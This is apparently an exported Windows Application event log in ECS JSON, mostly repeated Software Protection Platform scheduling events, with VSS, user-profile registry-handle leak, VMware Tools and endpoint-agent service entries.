{"@timestamp":1646917657864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167922}}
{"@timestamp":1646917688091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167923}}
{"@timestamp":1646917718106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167924}}
{"@timestamp":1646917741154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8224,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303736302D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030313137362D205449443A202030303030323036342D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":167925}}
{"@timestamp":1646917748114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167926}}
{"@timestamp":1646917778128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167927}}
{"@timestamp":1646917808222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167928}}
{"@timestamp":1646917838338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167929}}
{"@timestamp":1646917868409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167930}}
{"@timestamp":1646917898425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167931}}
{"@timestamp":1646917928508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167932}}
{"@timestamp":1646917958683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167933}}
{"@timestamp":1646917988694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167934}}
{"@timestamp":1646918018742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167935}}
{"@timestamp":1646918048758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167936}}
{"@timestamp":1646918078775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167937}}
{"@timestamp":1646918108825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167938}}
{"@timestamp":1646918138849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167939}}
{"@timestamp":1646918168862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167940}}
{"@timestamp":1646918198903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167941}}
{"@timestamp":1646918228921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167942}}
{"@timestamp":1646918259075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167943}}
{"@timestamp":1646918289121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167944}}
{"@timestamp":1646918319137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167945}}
{"@timestamp":1646918349147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167946}}
{"@timestamp":1646918379159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167947}}
{"@timestamp":1646918409171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167948}}
{"@timestamp":1646918439178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167949}}
{"@timestamp":1646918469174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167950}}
{"@timestamp":1646918499172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167951}}
{"@timestamp":1646918529173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167952}}
{"@timestamp":1646918559173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167953}}
{"@timestamp":1646918589177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167954}}
{"@timestamp":1646918619180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167955}}
{"@timestamp":1646918649185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167956}}
{"@timestamp":1646918679189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167957}}
{"@timestamp":1646918709196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167958}}
{"@timestamp":1646918739202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167959}}
{"@timestamp":1646918769213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167960}}
{"@timestamp":1646918799220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167961}}
{"@timestamp":1646918829246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167962}}
{"@timestamp":1646918859290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167963}}
{"@timestamp":1646918889298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167964}}
{"@timestamp":1646918919306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167965}}
{"@timestamp":1646918949314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167966}}
{"@timestamp":1646918979324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167967}}
{"@timestamp":1646919009333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167968}}
{"@timestamp":1646919039341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167969}}
{"@timestamp":1646919069351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167970}}
{"@timestamp":1646919099361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167971}}
{"@timestamp":1646919129372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167972}}
{"@timestamp":1646919159384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167973}}
{"@timestamp":1646919189395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167974}}
{"@timestamp":1646919219405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167975}}
{"@timestamp":1646919249415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167976}}
{"@timestamp":1646919279428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167977}}
{"@timestamp":1646919309437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167978}}
{"@timestamp":1646919339449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167979}}
{"@timestamp":1646919369459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167980}}
{"@timestamp":1646919399472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167981}}
{"@timestamp":1646919429484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167982}}
{"@timestamp":1646919459490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167983}}
{"@timestamp":1646919472744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":6001,"custom_data":{"EventData":{"Binary":"22050000","Data":{"#text":["Sens"]}}},"module":"Application","provider":"Microsoft-Windows-Winlogon","sequence":167984}}
{"@timestamp":1646919472782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"36 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192:\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\CA\nProcess 692 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Parents\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\CommsAPHost\\Test\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\trust\nProcess 692 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\nProcess 1020 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\TrustedPeople\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 1980 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\ActiveSync\\Partners\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\Local NonRemovable Certificates\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\Disallowed\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\Root\nProcess 692 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Children\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\SmartCardRoot\nProcess 1184 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\POLICIES\\MICROSOFT\\INTERNET EXPLORER\\MAIN\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\POLICIES\\MICROSOFT\\INTERNET EXPLORER\\MAIN\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167985}}
{"@timestamp":1646919472803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"2 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes:\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes\nProcess 4256 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167986}}
{"@timestamp":1646919489487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167987}}
{"@timestamp":1646920013729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":260,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167988}}
{"@timestamp":1646920013730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":272,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167989}}
{"@timestamp":1646920013748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":108,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167990}}
{"@timestamp":1646920014464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":3,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167991}}
{"@timestamp":1646920014626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","SHUTDOWN"]}}},"module":"Application","provider":"nssm","sequence":167992}}
{"@timestamp":1646920014972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1532,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167993}}
{"@timestamp":1646920040200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4625,"custom_data":{"EventData":{"param1":"86400","param2":"SuppressDuplicateDuration","param3":"Software\\Microsoft\\EventSystem\\EventLog"}},"module":"Application","provider":"Microsoft-Windows-EventSystem","sequence":167994}}
{"@timestamp":1646920040275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1531,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167995}}
{"@timestamp":1646920040682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5615,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167996}}
{"@timestamp":1646920042278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167997}}
{"@timestamp":1646920042105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5617,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167998}}
{"@timestamp":1646920047591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":781,"custom_data":{"EventData":{"param1":"86400","param2":"SuppressDuplicateDuration","param3":"Software\\Microsoft\\COM3\\Eventlog"}},"module":"Application","provider":"Microsoft-Windows-Complus","sequence":167999}}
{"@timestamp":1646920048669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":258,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":168000}}
